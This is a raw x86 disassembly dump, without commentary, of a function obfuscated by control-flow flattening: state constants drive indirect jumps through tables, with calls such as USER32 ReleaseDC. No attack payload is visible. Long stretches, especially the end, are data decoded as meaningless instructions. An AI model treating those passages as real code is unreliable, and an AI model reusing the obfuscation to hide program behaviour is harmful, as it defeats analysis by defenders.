mov ecx, dword [esp + 0x138]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x26657170
sete cl
mov dword [esp + 0x26c], ecx
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x26c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x38aa968e
setl cl
mov dword [esp + 0x29c], ecx
mov ecx, dword [esp + 0x2a0]
mov edx, dword [esp + 0x29c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x2793388a
setl cl
mov dword [esp + 0x27c], ecx
mov ecx, dword [esp + 0x280]
mov edx, dword [esp + 0x27c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xd20a05c9
setl cl
mov dword [esp + 0x1fc], ecx
mov ecx, dword [esp + 0x200]
mov edx, dword [esp + 0x1fc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9a20ff2e
sete cl
mov dword [esp + 0x17c], ecx
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x17c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x58]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x8539b386
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 0x148]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xcb935800
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0xe8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9612e95d
setl cl
mov dword [esp + 0x18c], ecx
mov ecx, dword [esp + 0x190]
mov edx, dword [esp + 0x18c]
mov ecx, dword [ecx + edx*4]
jmp ecx
test al, 0
push ecx
sub byte [ebx - 0x38e3dbbc], cl
add ch, cl
movsd dword es:[edi], dword [esi]
js 0x43a3ae
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x60]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3d83ad99
setl cl
mov dword [esp + 0x2b4], ecx
mov ecx, dword [esp + 0x2b8]
mov edx, dword [esp + 0x2b4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xa1514614
setl cl
mov dword [esp + 0x1a4], ecx
mov ecx, dword [esp + 0x1a8]
mov edx, dword [esp + 0x1a4]
mov ecx, dword [ecx + edx*4]
jmp ecx
add byte [ebx - 0x1e006ef4], cl
xor ecx, ecx
sub eax, 0x84c312c3
sete cl
mov dword [esp + 0x15c], ecx
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x15c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x38aa968e
sete cl
mov dword [esp + 0x294], ecx
mov eax, dword [esp + 0x298]
mov ecx, dword [esp + 0x294]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x763b9b31
sete cl
mov dword [esp + 0x324], ecx
mov eax, dword [esp + 0x328]
mov ecx, dword [esp + 0x324]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa8c73357
setl cl
mov dword [esp + 0x1bc], ecx
mov ecx, dword [esp + 0x1c0]
mov edx, dword [esp + 0x1bc]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov ecx, dword [esp + 0x34]
sub ecx, eax
mov eax, 0x84c312c3
jl 0x43a467
mov eax, 0xa8fe409a
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x130]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x6a98cf76
sete cl
mov dword [esp + 0x304], ecx
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x304]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x34]
mov edx, eax
not edx
mov esi, ecx
and esi, edx
mov edx, ecx
not edx
mov edi, eax
and edi, edx
imul edi, esi
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, edi
mov dword [esp + 0x364], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x1c5f4a37
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x118]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x158]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x12e536be
mov al, byte [esp + 0x23]
mov byte [esp + 0x20], al
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x98]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x5c8c52d
setl cl
mov dword [esp + 0x21c], ecx
mov ecx, dword [esp + 0x220]
mov edx, dword [esp + 0x21c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x2484f4c5
sete cl
mov dword [esp + 0x25c], ecx
mov eax, dword [esp + 0x260]
mov ecx, dword [esp + 0x25c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x5578a5cd
sete cl
mov dword [esp + 0x2cc], ecx
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2cc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa8c73357
sete cl
mov dword [esp + 0x1b4], ecx
mov eax, dword [esp + 0x1b8]
mov ecx, dword [esp + 0x1b4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x354]
mov edx, dword [esp + 0x358]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xfaf66b7
mov eax, dword [esp + 0x35c]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xd0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x5578a5cd
setl cl
mov dword [esp + 0x344], ecx
mov ecx, dword [esp + 0x348]
mov edx, dword [esp + 0x344]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x12e536be
setl cl
mov dword [esp + 0x234], ecx
mov ecx, dword [esp + 0x238]
mov edx, dword [esp + 0x234]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x20]
mov byte [esp + 0x22], al
mov eax, dword [esp + 0x50]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x732d7e77
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x90]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x58622d95
sete cl
mov dword [esp + 0x2d4], ecx
mov eax, dword [esp + 0x2d8]
mov ecx, dword [esp + 0x2d4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x30]
sub ecx, eax
mov eax, 0x2484f4c5
jl 0x43a6cb
mov eax, 0x5c8c52d
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf0]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.0040cb70
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x3c356a69
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa8fe409a
setl cl
mov dword [esp + 0x24c], ecx
mov ecx, dword [esp + 0x250]
mov edx, dword [esp + 0x24c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x26657170
mov dword [esp + 0x48], 0
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x3c356a69
sete cl
mov dword [esp + 0x2a4], ecx
mov eax, dword [esp + 0x2a8]
mov ecx, dword [esp + 0x2a4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xcb935800
setl cl
mov dword [esp + 0x204], ecx
mov ecx, dword [esp + 0x208]
mov edx, dword [esp + 0x204]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa8fe409a
sete cl
mov dword [esp + 0x1d4], ecx
mov eax, dword [esp + 0x1d8]
mov ecx, dword [esp + 0x1d4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x5c8c52d
sete cl
mov dword [esp + 0x214], ecx
mov eax, dword [esp + 0x218]
mov ecx, dword [esp + 0x214]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9a20ff2e
setl cl
mov dword [esp + 0x184], ecx
mov ecx, dword [esp + 0x188]
mov edx, dword [esp + 0x184]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd339cfe3
sete cl
mov dword [esp + 0x20c], ecx
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x20c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9612e95d
sete cl
mov dword [esp + 0x174], ecx
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x174]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x3c]
imul eax, ecx
mov dword [esp + 0x368], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x9a20ff2e
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x120]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x8539b386
sete cl
mov dword [esp + 0x164], ecx
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x164]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x37e5f832
mov eax, dword [esp + 0xbc]
mov ecx, dword [esp + 0xc0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x588e75d8
setl cl
mov dword [esp + 0x2fc], ecx
mov ecx, dword [esp + 0x300]
mov edx, dword [esp + 0x2fc]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x22]
and al, 1
movzx eax, al
add esp, 0x3b8
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
sub eax, 0xcb935800
sete cl
mov dword [esp + 0x1ec], ecx
mov eax, dword [esp + 0x1f0]
mov ecx, dword [esp + 0x1ec]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb0f92862
setl cl
mov dword [esp + 0x1e4], ecx
mov ecx, dword [esp + 0x1e8]
mov edx, dword [esp + 0x1e4]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x717331c1
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x717331c1
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x108]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1c5f4a37
setl cl
mov dword [esp + 0x34c], ecx
mov ecx, dword [esp + 0x350]
mov edx, dword [esp + 0x34c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov byte [edi + edx + 0x24448b92], bl
sbb al, 0xc7
add byte [esi - 0x747ac64d], al
inc esp
and al, 0x7c
mov ecx, dword [esp + 0x80]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8539b386
setl cl
mov dword [esp + 0x16c], ecx
mov ecx, dword [esp + 0x170]
mov edx, dword [esp + 0x16c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x2793388a
sete cl
mov dword [esp + 0x274], ecx
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x274]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2484f4c5
setl cl
mov dword [esp + 0x264], ecx
mov ecx, dword [esp + 0x268]
mov edx, dword [esp + 0x264]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3d83ad99
sete cl
mov dword [esp + 0x2ac], ecx
mov eax, dword [esp + 0x2b0]
mov ecx, dword [esp + 0x2ac]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x2793388a
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0xa0]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x21]
mov byte [esp + 0x23], al
call fcn.0041d2d0
dec dword [ebx - 0x38e3dbbc]
add ch, cl
movsd dword es:[edi], dword [esi]
js 0x43aafa
xor ecx, ecx
mov edx, eax
sub edx, 0x26657170
setl cl
mov dword [esp + 0x284], ecx
mov ecx, dword [esp + 0x288]
mov edx, dword [esp + 0x284]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x36c]
test eax, eax
mov eax, 0x588e75d8
jne 0x43aaf4
mov eax, 0x12e536be
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov dword [esp + 0x40], 0
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov ecx, dword [esp + 0x28]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x2c]
lea edi, [esp + 0x40]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.00408850
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
test eax, eax
mov eax, 0x9b563258
jne 0x43ab70
mov eax, 0x620a29ad
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x21], 0
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x128]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x58622d95
setl cl
mov dword [esp + 0x2dc], ecx
mov ecx, dword [esp + 0x2e0]
mov edx, dword [esp + 0x2dc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd20a05c9
sete cl
mov dword [esp + 0x1f4], ecx
mov eax, dword [esp + 0x1f8]
mov ecx, dword [esp + 0x1f4]
mov eax, dword [eax + ecx*4]
jmp eax
aaa
xor bl, al
xchg edx, eax
in eax, dx
out 0xd, al
ror byte [ebx - 0x74bfdbbc], 0x8c
and al, 0xd4
add eax, dword [eax]
add byte [ecx + 0x24448b01], cl
cmp byte [ebx + 0x3d0248c], cl
add byte [eax], al
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x37e5f832
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xfaf66b7
sete cl
mov dword [esp + 0x224], ecx
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x224]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x34]
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov dword [esp + 0x35c], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xd339cfe3
mov eax, dword [esp + 0xdc]
mov ecx, dword [esp + 0xe0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x717331c1
sete cl
mov dword [esp + 0x30c], ecx
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x30c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x763b9b31
setl cl
mov dword [esp + 0x32c], ecx
mov ecx, dword [esp + 0x330]
mov edx, dword [esp + 0x32c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x37e5f832
setl cl
mov dword [esp + 0x2c4], ecx
mov ecx, dword [esp + 0x2c8]
mov edx, dword [esp + 0x2c4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x732d7e77
sete cl
mov dword [esp + 0x31c], ecx
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x31c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x37e5f832
sete cl
mov dword [esp + 0x28c], ecx
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x28c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x620a29ad
mov byte [esp + 0x21], 1
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xb0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x620a29ad
sete cl
mov dword [esp + 0x2ec], ecx
mov eax, dword [esp + 0x2f0]
mov ecx, dword [esp + 0x2ec]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9b563258
sete cl
mov dword [esp + 0x194], ecx
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x194]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xa8c73357
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x140]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa628f864
setl cl
mov dword [esp + 0x1c4], ecx
mov ecx, dword [esp + 0x1c8]
mov edx, dword [esp + 0x1c4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xfaf66b7
setl cl
mov dword [esp + 0x23c], ecx
mov ecx, dword [esp + 0x240]
mov edx, dword [esp + 0x23c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa1514614
sete cl
mov dword [esp + 0x19c], ecx
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x19c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x588e75d8
sete cl
mov dword [esp + 0x2e4], ecx
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x3d4]
mov dword [ecx], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3d0]
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x6a98cf76
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x620a29ad
setl cl
mov dword [esp + 0x2f4], ecx
mov ecx, dword [esp + 0x2f8]
mov edx, dword [esp + 0x2f4]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x364]
add eax, ecx
mov dword [esp + 0x360], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x763b9b31
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x110]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x9612e95d
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xb0f92862
sete cl
mov dword [esp + 0x1dc], ecx
mov eax, dword [esp + 0x1e0]
mov ecx, dword [esp + 0x1dc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1c5f4a37
sete cl
mov dword [esp + 0x254], ecx
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x254]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x12e536be
sete cl
mov dword [esp + 0x22c], ecx
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x22c]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [eax + 0x18], cs
ror byte [ebx - 0x38e3dbbc], cl
add byte [eax], al
pop eax
xchg ebx, eax
retf
mov eax, dword [esp + 0x360]
mov ecx, dword [esp + 0x30]
mov edx, dword [eax + ecx*4]
mov esi, edx
and esi, 0xff00ff00
mov edi, edx
and edi, 0xff0000
shr edi, 0x10
or esi, edi
movzx edx, dl
xor ecx, ecx
mov edx, eax
sub edx, 0xd339cfe3
setl cl
mov dword [esp + 0x244], ecx
mov ecx, dword [esp + 0x248]
mov edx, dword [esp + 0x244]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x717331c1
setl cl
mov dword [esp + 0x314], ecx
mov ecx, dword [esp + 0x318]
mov edx, dword [esp + 0x314]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x732d7e77
setl cl
mov dword [esp + 0x334], ecx
mov ecx, dword [esp + 0x338]
mov edx, dword [esp + 0x334]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x9b563258
setl cl
mov dword [esp + 0x1cc], ecx
mov ecx, dword [esp + 0x1d0]
mov edx, dword [esp + 0x1cc]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, 0x42
add byte [esi - 0x4a], ch
inc edx
add byte [0x6e0042b0], dl
mov dh, 0x42
add byte [0x440042b0], dl
mov edx, 0xb6820042
inc edx
add byte [eax + 0x580042b6], cl
mov eax, 0xb6880042
inc edx
add byte [edi], ch
mov edx, 0xba370042
inc edx
add byte [edx + edi*4 + 0x42], al
add byte [ecx - 0x41], bl
mov edi, 0xc5100042
inc edx
add byte [eax], dl
lds eax, [edx]
je 0x452765
inc edx
mov edi, 0xc5100042
inc edx
add byte [eax], dl
lds eax, [edx]
je 0x452765
inc edx
add byte [ebx], ch
rol byte [edx], 0xfb
les eax, [edx]
xor al, ah
inc edx
add byte [eax], dl
les eax, [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
xor al, ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x3c], al
inc edx
add byte [ebp - 0x3c], cl
inc edx
add byte [eax - 0x4dffbd3d], al
ret
mov byte [edx], 0x30
enter 0x42, 0xffffffffffffffc0
mov dword [edx], case.0x42c6b0.3
invalid
enter 0x42, 0xfffffffffffffff0
enter 0x42, 0xffffffffffffff8e
enter 0x42, 0xffffffffffffffa6
enter 0x42, 0xffffffffffffffb0
lds eax, [edx]
mov al, byte [0x620042c5]
lds eax, [edx]
mov al, 0xc5
inc edx
add byte [ebp + eax*8 + 0x42], dh
add byte [ebx], cl
leave
inc edx
add byte [edx + ecx*8], cl
inc edx
add byte [0x620042ca], ah
iretd
test edi, ecx
inc edx
add byte [esi + 0x520042cf], ah
rol dword [edx], 1
int3
rol dword [edx], 1
xor dl, dl
inc edx
add byte [esi], al
rol dword [edx], 1
jl 0x4528d0
inc edx
add byte [eax], ah
rol dword [edx], 1
and cl, dl
inc edx
add byte [edx], ah
rol dword [edx], 1
and cl, dl
inc edx
add byte [eax], ch
rol dword [edx], 1
inc ebx
rol dword [edx], 1
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
inc ebx
rol dword [edx], 1
add dword [eax], eax
add byte [eax], al
dec ecx
rol dword [edx], 1
push edx
rol dword [edx], 1
invalid
iretd
retf
invalid
int1
inc edx
add byte [ecx - 0xf], bh
inc edx
add bh, ch
inc edx
add byte [esi - 0x1fffbd0f], ch
inc edx
add ch, dl
int1
inc edx
add bl, ah
int1
inc edx
add byte [eax], cl
inc edx
add byte [edx], ch
inc edx
add byte [eax], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], ch
inc edx
add byte [eax], bh
inc edx
add byte [esi], bh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], bh
inc edx
add byte [ecx], al
add byte [eax], al
add cl, dl
inc edx
add al, ah
inc edx
add dh, ah
inc edx
add bh, ch
inc edx
add byte [esi - 0xc], dh
inc edx
add al, dl
hlt